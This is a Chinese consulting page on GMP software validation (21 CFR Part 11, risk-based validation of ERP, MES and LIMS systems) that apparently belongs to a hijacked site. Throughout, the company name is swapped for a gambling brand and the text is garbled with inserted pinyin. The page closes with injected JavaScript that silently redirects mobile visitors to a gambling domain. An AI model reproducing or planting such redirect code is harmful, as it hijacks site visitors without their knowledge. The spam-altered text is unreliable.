亚博欧洲杯导航

软件验证

用于执行GMP相关任(ren)务的软件(jian)系统必须(xu)根据(ju)21 CFR第11部分或附件(jian)11进行强制性验(yan)证(zheng)。在GMP规范的环境(jing)中(zhong)进行软件(jian)验(yan)证(zheng)是一项跨(kua)学科的任(ren)务。在这里,流程所(suo)有者、IT专(zhuan)家和质量保证(zheng)必须(xu)紧密合(he)作。亚博欧洲杯导航顾(gu)问以所(suo)有专(zhuan)业(ye)团体都能(neng)理(li)解(jie)的形式提出甚至复杂的问题,为(wei)项目的协调(diao)提供专(zhuan)业(ye)支持(chi)。

从咨(zi)询到项目协调的全面实(shi)施——亚博欧洲杯导航在提供客户需求支持方(fang)面具有灵活性。结果是清晰可(ke)理解、高效和检查就(jiu)绪的解决方(fang)案。

亚博欧洲杯导航为客户提供(gong)多种软件系(xi)统的(de)验证服(fu)务:

  • 企业资源计划系统(ERP)
  • 仓库管理系统 (WMS)
  • 文件管理系统(DMS)
  • 生产执行系统 (MES)
  • 实验室信息管理系统(LIMS)
  • 其他

 

实用性——基于风险的方法,清晰和结构化的程序

对于亚博欧洲杯导航,这意味着所(suo)有活(huo)动都要(yao)与(yu)患者安全(quan)、产品(pin)质量(liang)和数(shu)据(ju)完整性(xing)这三个更高级(ji)别的(de)(de)目标保持清晰的(de)(de)一(yi)致,而不会失去(qu)成(cheng)本效益(yi)。这是通过严格(ge)的(de)(de)基于风(feng)险的(de)(de)方法实现的(de)(de):只有执(zhi)行任务或映射对质量(liang)至关(guan)重要(yao)的(de)(de)过程(cheng)(cheng)的(de)(de)系(xi)统(tong)模块必须经过验证,并且在风(feng)险分析过程(cheng)(cheng)中需要(yao)进(jin)一(yi)步评(ping)估。根据(ju)关(guan)键性(xing)进(jin)行测(ce)量(liang)验证。

亚博欧洲杯导航与客户一起,规划所需的活动,建立明确(que)的责任分工,并执行验证(zheng)(zheng)计划中的各个步(bu)骤(zhou)。这使得验证(zheng)(zheng)工作可追溯(su)。

透明且高效的项目管理

亚博欧洲杯导航从(cong)一(yi)开始(shi)(shi)就保(bao)证(zheng)了软件(jian)验证(zheng)项(xiang)目的(de)透明(ming)(ming)(ming)度(du)。即使是(shi)复杂的(de)问(wen)题也被分解成清晰可理解的(de)步骤和可计(ji)算的(de)工作包,从(cong)提(ti)供准备(bei)开始(shi)(shi)。由于这些项(xiang)目通常涉及客户(hu)、系统供应商和亚博欧洲杯导航之间的(de)合作,我们会提(ti)前向客户(hu)说(shuo)明(ming)(ming)(ming)验证(zheng)的(de)内容(rong)和时间。明(ming)(ming)(ming)确责任,并降低沟通成本。

您将获得

  • 结合IT和GMP专业知识
  • 可计算、清晰理解的工作包
  • 验证文件模板的交付
  • GMP专家的独立观点
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();